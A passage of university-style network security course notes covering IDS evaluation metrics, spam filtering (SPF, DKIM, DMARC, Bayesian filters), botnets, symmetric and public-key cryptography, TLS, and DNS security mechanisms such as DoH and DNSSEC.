- **Deep Packet Inspection (DPI):** inspect packet payloads and protocols in detail.
- **Packet headers:** inspect IP addresses, ports, protocol, flags, etc.
- **Flow records:** aggregated communication summaries instead of full packets.

Pros:

- can run on a dedicated machine,
- can monitor a whole network,
- flow monitoring scales well to high-speed networks.

Cons:

- only sees network traffic, not what happens inside hosts,
- DPI is expensive at high speed,
- DPI cannot inspect encrypted payloads such as HTTPS,
- flow records are useful for scans, brute-force and DoS attacks, but not for attacks where the payload matters, e.g. buffer overflows or SQL injection.

11.2 DPI-based IDS: Snort

Snort is a DPI-based (Deep Packet Inspection) IDS for network traffic. It compares monitored traffic against a database of rules. If a rule matches, an alert is raised. It can be deployed either as a host-based IDS, or as a network-based IDS.

Rules can include L3/4 protocols, ip addresses, state, payload size, payload content, depth, meta-data, etc.

11.3 DPI Performance

DPI is expensive because the IDS must do much more than just read packet headers:

- parse many protocols, e.g. UDP, TCP, DNS, HTTP,
- reassemble streams, otherwise an attacker could split the malicious payload across several packets,
- keep state, e.g. remember that a TCP SYN was seen before accepting that a SYN+ACK belongs to that connection,
- compare traffic against many rules.

To improve speed and detection performance, we can use several IDS and even create a hierarchy (small fast IDS forward suspicious traffic to heavier ones).

11.4 Measuring Performance

Classification an IDS can be seen as a classification problem and thus measuring its performance with the same tools.

Ideally, normal and malicious samples are clearly separated. In reality they often overlap, so no perfect threshold exists and the IDS will make errors.

To evaluate an IDS, we need a **ground truth**: a labeled dataset where we know for each sample whether it is normal or malicious. This is hard because the dataset should contain realistic normal data and many different attacks, including attacks that may not even be known yet.

11.4.1 Confusion Matrix

When comparing IDS alerts with the ground truth labels, we get four possible cases:

	IDS says normal	IDS says malicious
Actually normal	True Negative (TN)	False Positive (FP)
Actually malicious	False Negative (FN)	True Positive (TP)

Intuition:

- **TP**: attack correctly detected.
- **TN**: normal traffic correctly ignored.
- **FP**: false alert on normal traffic.
- **FN**: attack missed by the IDS.

False positives are expensive because humans may need to check the alerts. False negatives are security risks because attacks remain unnoticed.

Let:

- $P = TP + FN$: number of malicious samples,
- $N = TN + FP$: number of normal samples.

Common IDS metrics:

- **True Positive Rate / Recall:**

$$TPR = \frac{TP}{P} = \frac{TP}{TP + FN}$$

- **False Positive Rate:**

$$FPR = \frac{FP}{N} = \frac{FP}{FP + TN}$$

- **True Negative Rate:**

$$TNR = \frac{TN}{N} = 1 - FPR$$

- **False Negative Rate:**

$$FNR = \frac{FN}{P} = 1 - TPR$$

- **Precision:**

$$Precision = \frac{TP}{TP + FP}$$

- **Accuracy:**

$$Accuracy = \frac{TP + TN}{P + N}$$

- **F1 score:**

$$F_1 = \frac{2TP}{2TP + FP + FN}$$

the harmonic mean of precision and recall.

Important distinction. Recall answers: “among real attacks, how many did we detect?” Precision answers: “among alerts, how many were real attacks?”

11.4.2 Tuning the IDS

Many IDS rules depend on thresholds. They must be adapted to the target system. A threshold that is normal for a big network may be abnormal for a small one.

Changing the threshold changes the compromise between FP and FN:

- strict threshold → more alerts, higher TP, but also higher FP,
- tolerant threshold → fewer false alerts, but more missed attacks.

The **ROC curve** visualizes this tradeoff by plotting:

- x-axis: False Positive Rate,
- y-axis: True Positive Rate.

A good IDS has high TPR and low FPR, so its ROC curve should be close to the top-left corner.

12 Spam

How to send spam ?

- Setup your own mail server at home. But untrusted IP & rate limiting from the ISP
- Setup your own mail server on a cloud sever : trusted IP, better
- Create fake gmail accounts. Slow and rate limitation
- Use an open mail-relay server which forwards any e-mail to other mail servers
- Use compromised e-mail. Good because looks legitimate

LLM’s make it easier for attackers to increase the click-through rate.

Mail Filtering Can both run in the mail server or the mail client They analyse several things :

- IP
- E-mail address
- Keywords
- Suspicious URL's

According to these criterions, the filter computes a score and flags if above a configurable threshold.

SPF (Sender Policy Framework) SPF allows a domain owner to specify which IP addresses are authorized to send emails for the domain. This information is stored in a DNS TXT record and can be queried by receiving mail servers to verify that the sender's IP address is legitimate. For example, UCLouvain may authorize only `smtp.uclouvain.be` to send emails for `@uclouvain.be`; when Gmail receives such an email, it checks the SPF record to verify that the sending IP is indeed authorized by the domain.

DKIM (DomainKeys Identified Mail) DKIM allows a mail server to digitally sign outgoing emails using its private key. The corresponding public key is published in a DNS TXT record and can be retrieved by the recipient's mail server. This enables the receiver to verify both that the email originates from the claimed domain and that its contents have not been modified during transit.

DMARC DMARC extends SPF and DKIM by specifying how receiving mail servers should verify the sender's domain and react to failed checks (e.g., reject or quarantine the email).

Blacklists and Greylisting Mail servers can compare the sender's IP address against blacklists of known spam sources. These blacklists are often queried via DNS and may contain compromised hosts, botnets, or known spam servers. A related technique, called *greylisting*, temporarily rejects a first delivery attempt; legitimate mail servers usually retry later, whereas many spam servers do not.

Bayesian Spam Filtering Bayesian filtering classifies emails based on the occurrence of words (*tokens*) in previously observed spam and legitimate emails.

Training phase: A large corpus of spam and non-spam emails is collected. For each token t , the filter computes the probability that an email containing t is spam using Bayes' theorem:

$$P(\text{Spam} \mid t) = \frac{P(t \mid \text{Spam})}{P(t \mid \text{Spam}) + P(t \mid \text{Not Spam})}$$

The $P(t \mid \text{Spam})$ is simply the number of spam emails containing t divided by the numbers of spam emails.

Classification phase: When a new email arrives, it is split into tokens $t_1, t_2, \dots, t_n$. The spam probabilities of the individual tokens are then combined using a Naive Bayes classifier (which assumes token independence):

$$P(\text{Spam} \mid m) = \frac{\prod_i p_i}{\prod_i p_i + \prod_i (1 - p_i)}$$

where $p_i = P(\text{Spam} \mid t_i)$.

The resulting probability can then be compared to a threshold to decide whether the email should be classified as spam.

Remarks Tokens with probabilities close to 0.5 carry little information and may be ignored. The model can be improved by considering word pairs (*bigrams*) instead of assuming token independence.

13 Botnets

A **botnet** is a collection of compromised machines, called *bots* or *zombies*, controlled remotely by an attacker called the *botmaster*. Machines can be recruited through malware, worms, phishing emails, pirated software, or attacks against weak passwords.

Command and Control Once infected, bots communicate with one or more *Command-and-Control* (C&C) servers. These servers allow the botmaster to send commands, install updates, or collect stolen data such as passwords, credit card numbers, or private keys.

Uses of Botnets Botnets can be used to send spam, perform DDoS attacks, steal credentials using keyloggers, distribute malware or ransomware, perform crypto mining, or automate fraudulent actions.

Architectures Botnets can be centralized, decentralized, or hybrid. In a centralized architecture, bots receive commands from a small number of C&C servers. In a decentralized architecture, bots communicate in a peer-to-peer way, which makes the botnet harder to take down.

Resilience Techniques Modern botnets try to hide their infrastructure. For example, they may use *Fast Flux DNS*, where the IP address of a domain changes frequently, or domain generation algorithms, where bots try many possible domain names to find an active C&C server.

Fighting Botnets Defending against botnets is difficult. Possible strategies include preventing infection, taking down C&C servers, seizing domain names, or detecting suspicious behavior such as many failed DNS queries. However, botnets are often spread across several countries, which makes legal and technical takedown operations complex.

Attack Economy Botnets are also part of a criminal market. Attackers can rent botnets, buy stolen accounts or credit card data, or purchase DDoS attacks as a service, often called *booters* or *stressers*.

14 Cryptography

Cryptography is used to provide security properties such as **confidentiality**, **integrity**, and **authentication**.

What cryptography is not Cryptography should not be confused with *steganography*, which hides the existence of a message, or with simple *encoding*, which only changes the representation of information.

14.1 Symmetric-Key Cryptography

In symmetric-key cryptography, the sender and the receiver share the same secret key. The same key is used for encryption and decryption.

A symmetric cipher consists of two efficient algorithms:

$$E : K \times M \rightarrow C$$

$$D : K \times C \rightarrow M$$

where K is the set of keys, M the set of messages, and C the set of ciphertexts. Correctness means that decrypting an encrypted message with the same key gives back the original message:

$$\forall m \in M, \forall k \in K : D(k, E(k, m)) = m$$

The main difficulty is that the key must be shared secretly between the sender and the receiver.

Perfect Security A cipher is perfectly secure if the ciphertext does not reveal any information about the plaintext, except possibly its length. More formally, encryptions of any two messages should have the same distribution over all possible keys.

Perfect security is very strong, but it requires the key length to be at least as long as the message length. This is usually impractical.

One-Time Pad The One-Time Pad (OTP) is a perfectly secure cipher. It uses a random key k of the same length as the message m :

$$E(k, m) = k \oplus m$$

$$D(k, c) = k \oplus c$$

where $\oplus$ is the bitwise XOR operation.

Decryption works because:

$$D(k, E(k, m)) = k \oplus (k \oplus m) = m$$

The main problem is that the key must be random, as long as the message, and used only once.

Attack on Reused One-Time Pad Keys The OTP becomes insecure if the same key is reused for two messages:

$$c_1 = m_1 \oplus k$$

$$c_2 = m_2 \oplus k$$

An attacker can compute:

$$c_1 \oplus c_2 = m_1 \oplus m_2$$

The key disappears. Since human languages are redundant, an attacker can often guess parts of one message and recover parts of the other. This is why reusing a one-time pad key completely breaks the security.

Stream Ciphers A stream cipher tries to make the One-Time Pad practical. Instead of sharing a key as long as the message, both parties share a short secret seed s . A pseudo-random generator then expands this seed into a long keystream:

$$k_1, k_2, \dots = PRG(s)$$

The message is then encrypted by XORing it with the generated keystream. The security depends on the quality of the pseudo-random generator and on the secrecy of the seed.

Initialization Vector To avoid generating the same keystream twice, stream ciphers use an *Initialization Vector* (IV). The IV is a fresh value used together with the key to generate a different keystream for each message.

The IV does not need to be secret, but the same IV must never be reused with the same key.

Block Ciphers A block cipher encrypts fixed-size blocks of plaintext. If the plaintext is shorter than one block, padding must be added.

Common examples are:

- DES: 64-bit blocks, 56-bit key;
- 3DES: 64-bit blocks, 168-bit key (see LELEC2760 why 2DES doesn't exist ;-);
- AES: 128-bit blocks, keys of 128, 192, or 256 bits.

Block ciphers are not directly used on arbitrary-length messages. They must be used with a *mode of operation* which defines how a block cipher is applied to messages larger than one block. Examples include ECB, CBC, CFB, OFB, and CTR.

Cipher Block Chaining In Cipher Block Chaining (CBC), each plaintext block is XORed with the previous ciphertext block then encrypted. This makes identical plaintext blocks encrypt to different ciphertext blocks.

For the first block, there is no previous ciphertext block, so an Initialization Vector is used. As with stream ciphers, the IV must be fresh for each message.

Iterated Block Ciphers Many block ciphers are built by repeatedly applying a round function. The original key is expanded into several round keys, and each round transforms the internal state. For example:

- DES uses 16 rounds;
- 3DES applies DES three times;
- AES-128 uses 10 rounds.

DES DES is an old block cipher with a 56-bit key and 64-bit blocks. It uses a Feistel structure, where each block is split into two halves L_i and R_i :

$$R_i = f_i(R_{i-1}) \oplus L_{i-1}$$

$$L_i = R_{i-1}$$

Feistel networks are useful because they are invertible, even if the round function itself is not. Decryption is done by going through the network with the round keys in reverse order. DES is no longer secure because its 56-bit key is too short and can be brute-forced.

3DES 3DES improves DES by applying DES three times with different keys:

$$E_{3DES}((k_1, k_2, k_3), m) = E(k_1, D(k_2, E(k_3, m)))$$

It is much stronger than DES, but also slower. Although it uses three 56-bit keys, its effective security is about 112 bits because of meet-in-the-middle attacks.

AES AES is the modern standard block cipher. It has a block size of 128 bits and supports three key sizes:

- AES-128: 10 rounds;
- AES-192: 12 rounds;
- AES-256: 14 rounds.

Key Management A major problem in symmetric cryptography is key distribution. If every pair of users needs a different shared key, then a system with n users requires:

$$O(n^2)$$

keys.

A possible solution is to use a *Trusted Third Party* (TTP). Each user shares one key with the TTP, and the TTP helps users establish session keys for communication.

Replay Attacks A protocol can still be insecure even if encryption is used. For example, an attacker may record an encrypted message and replay it later.

To prevent replay attacks, protocols usually include nonces, timestamps, or sequence numbers, so that old messages cannot be reused successfully.

14.2 Public-Key Cryptography

In public-key cryptography, each user has a pair of keys: a public key pk and a private key sk . The public key can be shared with everyone, while the private key must remain secret. To send a confidential message to Bob, Alice encrypts the message using Bob's public key, and only Bob can decrypt it using his private key.

$$E(pk_{Bob}, m) = c$$

$$D(sk_{Bob}, c) = m$$

A public-key cryptosystem consists of three algorithms:

- G : generates a key pair (pk, sk) ,
- $E(pk, m)$: encrypts a message using the public key,
- $D(sk, c)$: decrypts a ciphertext using the private key.

Correctness requires that decrypting an encrypted message gives back the original message:

$$D(sk, E(pk, m)) = m$$

Advantages and Drawbacks The main advantage is key management: each user only needs one key pair to communicate with many other users. However, public-key cryptography is much slower than symmetric-key cryptography and usually relies on more complex mathematical assumptions.

RSA RSA is a classical public-key cryptosystem. Its security relies on the difficulty of deriving the private key from the public key, which is related to the difficulty of factoring a large number n . RSA key generation works as follows:

1. choose two large primes p and q ,
2. compute $n = p \cdot q$,
3. compute $\varphi(n) = (p - 1)(q - 1)$,
4. choose e such that $\gcd(e, \varphi(n)) = 1$,
5. compute d such that $d \cdot e \equiv 1 \pmod{\varphi(n)}$.

The public key is (e, n) and the private key is (d, n) . The values p , q , and $\varphi(n)$ must remain secret or be deleted after key generation. Otherwise one could compute d from $\varphi(n)$ and e .

Encryption and decryption are defined as:

$$E((e, n), m) = m^e \bmod n$$

$$D((d, n), c) = c^d \bmod n$$

The reason this works is that d is chosen as the inverse of e modulo $\varphi(n)$, so decrypting reverses the encryption operation.

Security of Textbook RSA RSA in this simple form should not be used directly. It is deterministic: the same message always produces the same ciphertext. This allows an attacker to recognize repeated messages.

It also has algebraic structure. In particular, textbook RSA is multiplicatively homomorphic:

$$E(pk, m_1 \cdot m_2) = E(pk, m_1) \cdot E(pk, m_2)$$

This can leak information and enable attacks. Practical RSA therefore uses padding and randomness.

Hybrid Encryption In practice, RSA is not used to encrypt long messages directly because it is too slow and can only encrypt messages smaller than the modulus n . Instead, RSA is usually combined with symmetric cryptography.

A typical hybrid scheme works as follows:

1. generate a random secret value x ,
2. encrypt it with RSA: $y = E_{RSA}(pk, x)$,
3. derive a symmetric key $k = H(x)$,
4. encrypt the message with a symmetric cipher:

$$c = E_{sym}(k, m)$$

5. send (y, c) .

The receiver decrypts y with their private key to recover x , derives the same symmetric key $k = H(x)$, and then decrypts c .

14.3 Diffie-Hellman Key Exchange

Diffie-Hellman (DH) is a protocol that allows two parties to agree on a shared secret over an insecure channel. This shared secret can then be used as a key for symmetric encryption.

The protocol works as follows:

1. Alice and Bob agree on a large prime p and a generator g (not needed to be private).
2. Alice chooses a secret value a and sends:

$$X = g^a \bmod p$$

3. Bob chooses a secret value b and sends:

$$Y = g^b \bmod p$$

4. Alice computes:

$$Y^a \bmod p = g^{ab} \bmod p$$

5. Bob computes:

$$X^b \bmod p = g^{ab} \bmod p$$

Both parties obtain the same shared secret $g^{ab} \bmod p$, while an eavesdropper only sees p , g , $g^a \bmod p$ and $g^b \bmod p$.

Security of Diffie-Hellman The security of DH is based on the difficulty of the discrete logarithm problem. Computing $g^a \bmod p$ is easy, but recovering a from g , p and $g^a \bmod p$ is hard when p is large.

However, it is vulnerable to Man-in-the-Middle attacks where an attacker can intercept g^a and g^b and send both Alice and Bob g^c each time decrypting and re-encrypting.

If a fresh DH exchange is performed for every connection, the protocol provides *forward secrecy*: even if a long-term secret is leaked later, previously recorded sessions remain protected.

Elliptic Curve Diffie-Hellman Elliptic Curve Diffie-Hellman (ECDH) is a variant of DH based on the elliptic curve discrete logarithm problem. Instead of working with integers modulo p , it works with points on an elliptic curve. ECDH provides similar security with much shorter keys.

14.4 Cryptographic Hash Functions

A hash function maps an input of arbitrary length to a fixed-size output:

$$H : \{0, 1\}^* \rightarrow \{0, 1\}^n$$

A cryptographic hash function should be hard to invert and should behave like a random function. The output is often called a *message digest*.

Examples include SHA-256 and SHA-512. Older functions such as MD5 and SHA-1 are no longer recommended because practical attacks have been found.

Desired Properties A cryptographic hash function should satisfy the following properties:

- **Preimage resistance:** given y , it should be hard to find m such that $H(m) = y$.
- **Collision resistance:** it should be hard to find two different messages m_1 and m_2 such that:

$$H(m_1) = H(m_2)$$

- **Random-looking output:** the hash value should be indistinguishable from a random n -bit string.

Birthday Paradox For an n -bit hash function, there are 2^n possible outputs. Because of the birthday paradox, a collision can be found after about $2^{n/2}$ trials, not 2^n .

For example, SHA-1 produces 160-bit hashes, so generic collision search would take about 2^{80} trials. Since stronger attacks exist, SHA-1 is not recommended anymore.

SHA-256

14.5 Message Authentication Codes

A Message Authentication Code (MAC) is used to verify the integrity and authenticity of a message using a shared secret key.

A MAC consists of:

$$S : K \times M \rightarrow T$$

$$V : K \times M \times T \rightarrow \{\text{yes}, \text{no}\}$$

The sender computes a tag:

$$t = S(k, m)$$

and sends (m, t) . The receiver checks the tag using the same key. If the verification fails, the message is rejected.

Building MACs from Hash Functions A naive idea would be to build a MAC as:

$$S(k, m) = H(m||k)$$

or:

$$S(k, m) = H(k||m)$$

However, these constructions are insecure with common hash functions based on Merkle-Damgård. In particular, $H(k||m)$ may be vulnerable to length-extension attacks, where an attacker can extend the message and compute a valid tag without knowing the key.

HMAC HMAC is the standard way to build a MAC from a hash function. Its basic idea is to hide the intermediate hash value from the attacker:

$$S(k, m) = H(k||H(k||m))$$

The real construction is slightly more complex, but the intuition is that the key is mixed into the hash computation in a safer way. A common example is HMAC-SHA256.

15 TLS

TLS (*Transport Layer Security*) is a protocol used to secure data exchange between two hosts. It is mainly known for HTTPS, which is HTTP over TLS. TLS provides authentication of the communicating hosts, confidentiality through encryption, and integrity protection for the transmitted data.

TLS Handshake Before encrypted communication can start, the client and server perform a handshake. In TLS 1.2, the client first opens a TCP connection and sends a `ClientHello` containing a random value R_C and the list of supported cryptographic algorithms. The server replies with its own random value R_S , the chosen algorithms, and its X.509 certificate.

The client then verifies the server certificate. This allows the client to check that it is really communicating with the intended server and not with a Man-in-the-Middle.

R_C and R_S are fresh public random values used in the TLS handshake to derive unique session keys and prevent replay of old handshakes.

Certificates A certificate is a signed statement binding a server identity (e.g. domain name) to a public key. It is signed by a Certificate Authority (CA) using the CA's private key. When the client receives the certificate, it verifies the CA's signature using the CA's public key, which is trusted through the browser/OS root certificate store.

Chain of Trust A client can verify a certificate only if it trusts the CA that signed it. In practice, certificates are often signed by intermediate CAs, which are themselves signed by higher-level CAs. This forms a *chain of trust*.

Key Exchange After the certificate has been verified, client and server establish shared secrets. In TLS 1.2, this can be done using Diffie-Hellman.

The server sends its DH parameters and signs them with its private key (no men in the middle !). The client verifies the signature using the public key from the certificate. Then both sides compute the same Premaster Secret:

$$PS = g^{ab} \bmod p$$

From the Premaster Secret and the random values R_C and R_S , both sides derive a Master Secret using a pseudo-random function. From this, TLS derives symmetric encryption keys and MAC keys, usually one pair for each direction.

TLS Records After the handshake, user data is sent in TLS records. A TLS record contains a fragment of application data, usually up to 16 KB. In TLS 1.2, the record is typically authenticated with a MAC and then encrypted with the negotiated symmetric cipher. Sequence numbers are included in the MAC computation to prevent replay attacks.

Public Key Infrastructure The certificates, Certificate Authorities, revocation lists, OCSP servers, and related components form a Public Key Infrastructure (PKI). The PKI is what allows a browser to decide whether a server certificate should be trusted.

Limitations of TLS TLS protects the communication channel, but it does not solve every security problem. It does not prevent DoS attacks, SQL injection, XSS, or phishing. It also cannot protect users if they trust the wrong website or if a trusted CA is compromised.

TLS 1.3 TLS 1.3 improves TLS 1.2 by removing weak algorithms and problematic modes. RSA is no longer allowed for establishing the Premaster Secret; instead, TLS 1.3 uses DH or ECDH, which provide forward secrecy.

TLS 1.3 also signs the cipher negotiation, which helps prevent downgrade attacks where a Man-in-the-Middle tries to force client and server to use weaker cryptography.

AEAD Ciphers TLS 1.3 only allows AEAD ciphers which stands for *Authenticated Encryption with Associated Data*. It performs encryption and authentication together and produces both a ciphertext and an authentication tag.

This avoids the older separate MAC-then-encrypt construction.

Latency Improvements TLS 1.3 reduces handshake latency. In 1-RTT mode, the client already sends key exchange information in its first message, allowing encrypted communication to start after one round trip.

TLS 1.3 also supports 0-RTT mode for resumed connections, where the client reuses a previously established secret. However, 0-RTT data is vulnerable to replay attacks, so it should not be used for sensitive operations such as bank transfers.

Server Name Indication During the TLS handshake, the client sends the server name it wants to connect to using Server Name Indication (SNI). This is necessary because one IP address may host several domains with different certificates.

In TLS 1.2 and normal TLS 1.3, SNI is sent in clear text, so observers can see which website is being visited. Encrypted Client Hello (ECH) is a TLS 1.3 extension that aims to encrypt this information.

16 Secure DNS

Reminder of the weaknesses

- NO authentication so Man in the Middle possible and cache poisoning
- No encryption so not privacy friendly

There is several options to secure DNS

16.1 DNS over TLS (DoT)

Simply protect the DNS packets with a TLS connection. For more efficiency, the computer opens one TLS connection with the DNS resolver and keeps it open for some time.

DoT has two modes :

- **Opportunistic DoT** : My computer only knows the IP of the DNS server and TLS session encrypts the messages. Consequence is that ISP cannot read your queries (since encrypted) but that you cannot verify the identity of the DNS resolver since you don't have its domain name (no CA verif).
- **Strict DoT** : knows the domain name so can do certificate verification

16.2 DNS over HTTPS (DoH)

DNS over HTTPS (DoH) follows the same goal as DNS over TLS (DoT): protecting DNS queries from eavesdroppers by encrypting them with TLS.

Instead of sending DNS messages directly over a TLS connection, DoH encapsulates DNS messages inside ordinary HTTP requests, which are then protected by HTTPS:

$$\text{DNS} \rightarrow \text{HTTP} \rightarrow \text{TLS}$$

whereas DoT uses:

$$\text{DNS} \rightarrow \text{TLS}$$

As a result, DoH traffic is almost indistinguishable from normal HTTPS web traffic.

This allows applications (especially web browsers) to communicate with a DNS resolver of their choice even on networks that block or restrict traditional DNS or DoT traffic.

DoH supports two ways of transmitting DNS queries:

- **POST**: the DNS query is placed in the HTTP request body.
- **GET**: the DNS query is encoded in the URL parameters.

The DNS response can be transmitted in different formats:

- Traditional binary DNS message (`application/dns-message`).

- JSON representation (`application/dns-json`).

For example, the query

```
1 GET https://1.1.1.1/dns-query?name=google.com
2 Accept: application/dns-json
```

may return:

Since HTTP is only used as a "transport" layer, a successful DoH request almost always returns HTTP status code 200 and errors (e.g., non-existent domains) are encoded inside the DNS response itself rather than through HTTP error codes.

Another advantage of DoH is that it can reuse the existing web infrastructure (HTTP, HTTPS, proxies, CDNs, HTTP/2, HTTP/3, etc.), making it easy to integrate into modern browsers. In fact, all major browsers support DoH and can directly communicate with a DNS resolver of their choice.

The main drawback is that DoH traffic is harder for network administrators to monitor and filter. While this improves user privacy, it can also make malicious DNS activity more difficult to detect.

16.3 QNAME Minimization

During recursive DNS resolution, the full domain name is traditionally sent at every step, even when only part of the name is needed. This leaks unnecessary information to intermediate nameservers. QNAME minimization improves privacy by revealing only the minimum information required at each step:

- Root nameserver: `.be`
- `.be` nameserver: `uclouvain.be`
- `uclouvain.be` nameserver: `www.uclouvain.be`

As a result, each nameserver only learns the information necessary to direct the resolver to the next level of the DNS hierarchy (a Nameserver might announce that it is responsible for the entirety of the subdomain).

Trusting the Resolver DoT and DoH encrypt DNS traffic between the client and its resolver, preventing network operators from observing DNS queries.

However, the resolver still sees the full queried domain name and must therefore be trusted not to misuse this information. And the client has no visibility into how the resolver communicates with other DNS servers and must trust the resolver to correctly perform the resolution process.

16.4 DNSSEC

Main idea Each DNS zone owns a public/private key pair.

- **DNSKEY**: contains the public key of the zone.
- **RRSIG**: digital signature of DNS records, created using the private key.
- **DS**: hash of the child zone's DNSKEY, stored in the parent zone.
- **NSEC/NSEC3**: authenticated proof that a domain name does not exist.

When a resolver receives a DNS answer, it verifies the accompanying signature using the corresponding DNSKEY.

Chain of Trust An attacker could forge both the DNS answer and the DNSKEY. DNSSEC prevents this using a chain of trust.

The root DNS servers act as a **trust anchor**: their public key is hardcoded into resolvers.

At each step, the resolver verifies that the hash of a zone's DNSKEY matches the DS record signed by its parent.

As a result, an attacker cannot simply replace both the public key and the signature without breaking the chain of trust.

Example To resolve:

```
1 www.uclouvain.be
```

the resolver obtains:

- the DS record for `.be` from the root zone,
- the DNSKEY of `.be`,
- the DS record for `uclouvain.be`,
- the DNSKEY of `uclouvain.be`,
- the signed A record of `www.uclouvain.be`.

If every signature and DS record verifies correctly, the answer is considered authentic.